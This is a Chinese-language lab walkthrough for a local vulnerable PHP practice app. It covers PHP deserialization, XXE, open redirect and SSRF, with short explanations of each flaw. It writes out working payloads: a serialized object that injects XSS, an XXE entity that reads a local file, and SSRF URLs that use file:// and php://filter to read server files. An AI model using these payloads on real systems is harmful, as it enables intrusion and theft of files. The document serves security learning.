php反序列化漏洞

payload
概述里面作者给了payload。我们直接复制粘贴到题目框里面。O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
hack
O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}

XXE

概述

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

XXE漏洞

XML+DTD基本语法:
https://xuanwo.xin/archives/85d73e13-fb5a-487e-997c-3e30d1cf98c5

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY test "hello world">
]>
<name>&test;</name>

hello
xml外部引用不仅支持file协议, 还支持http, ftp协议
如下代码所示, 利用file协议读取网站根目录下的tutu.txt文件

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///D:/phpstudy_pro/WWW/tutu.txt">
]>
<x>&file;</x>

过关
成功读取。

URL重定向

概述

不安全的url跳转
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。
url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
这个漏洞比较简单,come on,来测一把!

不安全的url跳转

url
点到第四个的时候看到url参数。我们访问www.baidu.com看看。
直接就跳转了。
跳转

SSRF

概述

SSRF(Server-Side Request Forgery)服务器端请求伪造
SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
你可以根据"SSRF"里面的项目来搞懂问题的原因

SSRF(curl)

http
/点击第一关的超链接。curl命令支持多种协议,如http、https、ftp、file、gopher协议等等。
点进去看到传递了url参数,此值采用了http协议进行访问。
利用file协议让服务器访问自己的本地的文件,构造的payload为
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=file:///D:\phpstudy_pro\WWW\tutu.txt
tutu

SSRF(file_get_contents)

file_get_content函数, 该函数的作用是读取文件的内容, 可直接读取主机绝对路径或相对路径的文件, 也可以使用php伪协议进行利用。
file协议:http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/phpstudy_pro/WWW/tutu.txt
file
过关
php伪协议:http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/tutu.txt
php
解密
过关
过关过关。